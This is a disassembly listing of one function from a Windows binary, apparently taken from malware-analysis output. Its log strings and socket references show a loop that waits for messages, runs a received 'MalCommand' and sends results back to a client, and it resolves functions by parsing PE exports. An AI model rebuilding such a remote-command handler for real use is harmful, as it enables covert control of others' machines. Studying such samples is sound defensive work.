Function at 0x14002a8e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x330
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov rsi, rcx
mov qword [rsp + 0x30], rcx
xor edi, edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x3c], edi
lea rbx, [rcx + 0x58]
mov qword [rsp + 0x80], rbx
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140026340
mov word [rsi + 0x51], 0x100
lea rcx, [rsp + 0x40]
call fcn.140034f00
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140026340
movzx ebx, byte [rsi + 0x51]
lea rcx, [rsp + 0x40]
call fcn.140034f00
nop
lea r14, vtable.LogItem.0
test bl, bl
jne 0x14002af36
mov rcx, rsi
call fcn.14002e400
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], di
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], di
mov dword [rsp + 0x188], 1
mov dword [rsp + 0x18c], 2
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], bl
mov r8d, reloc.WS2_32.dll_shutdown
lea rdx, str.Waiting_for_message...
lea rcx, [rsp + 0x1a0]
call fcn.140024110
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x140]
call fcn.14001df20
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14002aa61
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002aa5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002aa5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
nop
lea rcx, [rsp + 0x140]
call fcn.14001d880
mov qword [rsp + 0x98], rdi
mov dword [rsp + 0xa0], edi
mov qword [rsp + 0xe8], rdi
mov dword [rsp + 0xf0], edi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0x98]
mov rcx, rsi
call fcn.14002d6c0
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], di
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], di
mov dword [rsp + 0x188], 1
mov dword [rsp + 0x18c], 2
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov r8d, 0x29
lea rdx, str.Valid_message_received._Executing_command
lea rcx, [rsp + 0x1a0]
call fcn.140024110
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x140]
call fcn.14001df20
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14002ab93
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ab8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ab8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
nop
lea rcx, [rsp + 0x140]
call fcn.14001d880
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x58], edi
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0xe8]
mov edx, dword [rsp + 0xd8]
mov rcx, rsi
call fcn.14004d7d0
test al, al
je 0x14002afeb
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x68], edi
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], di
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], di
mov dword [rsp + 0x188], 1
mov dword [rsp + 0x18c], 2
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov r8d, 0x2c
lea rdx, str.Command_executed._Preparing_response_message
lea rcx, [rsp + 0x1a0]
call fcn.140024110
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x140]
call fcn.14001df20
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14002acc8
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002acc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002acc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
nop
lea rcx, [rsp + 0x140]
call fcn.14001d880
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], edi
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xbc], eax
lea ebx, [rax + 0x14]
test byte [rsp + 0x38], 1
je 0x14002ad49
and dword [rsp + 0x38], 0xfffffffe
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0x10
jb 0x14002ad49
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ad44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ad44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
mov dword [rsp + 0x68], ebx
mov ecx, ebx
call fcn.140057368
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x90], edi
mov dword [rsp + 0x94], ebx
mov qword [rsp + 0x1a0], 1
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x1a8], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x1ac], eax
mov dword [rsp + 0x1b0], edi
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x88]
call fcn.14004f500
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x88]
call fcn.140026c00
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], di
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], di
mov dword [rsp + 0x188], 1
mov dword [rsp + 0x18c], 2
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov r8d, 0x22
lea rdx, str.Sending_message_back_to_the_client
lea rcx, [rsp + 0x1a0]
call fcn.140024110
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x140]
call fcn.14001df20
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14002aeaf
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002aea9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002aea9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
nop
lea rcx, [rsp + 0x140]
call fcn.14001d880
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.14002ddd0
mov rcx, rsi
call fcn.14002e830
mov rcx, rsi
call fcn.14002f1f0
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14002aeee
call fcn.1400570c4
mov qword [rsp + 0x60], rdi
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14002af02
call fcn.1400570c4
mov qword [rsp + 0x50], rdi
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x14002af15
call fcn.1400570c4
nop
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14002af2f
call fcn.1400570c4
mov qword [rsp + 0x98], rdi
jmp 0x14002af46
jmp 0x14002af97
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov rax, qword [rcx]
mov edx, 0xffffffff
mov rax, qword [rax + 8]
call qword [0x140088938]
cmp eax, 2
je 0x14002b02a
jmp 0x14002af76
cmp eax, 1
je 0x14002b0a1
movzx ebx, byte [rsi + 0x51]
lea rcx, [rsp + 0x40]
call fcn.140034f00
jmp 0x14002a968
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0xa8]
call fcn.140026340
mov byte [rsi + 0x52], 0
lea rcx, [rsp + 0xa8]
call fcn.140034f00
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1400570a0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
lea rdx, str.Executing_MalCommand_failed
lea rcx, [rsp + 0x1a0]
call fcn.1400239a0
mov r8d, 0x500
mov rdx, rax
lea rcx, [rsp + 0x2a0]
call fcn.140028ad0
lea rdx, [0x1400a0ee0]
lea rcx, [rsp + 0x2a0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea rdx, str.ScopedLock
lea rcx, [rsp + 0x1c0]
call fcn.1400239a0
nop
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x140]
call fcn.14001cf70
nop
mov rcx, rax
call fcn.140030a50
mov rcx, rax
call fcn.140030c00
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140030db0
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0x1e0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.ScopedLock
lea rcx, [rsp + 0x1a0]
call fcn.1400239a0
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x240]
call fcn.140026190
lea rdx, [0x1400a0c98]
lea rcx, [rsp + 0x240]
call sub.VCRUNTIME140.dll__CxxThrowException
int3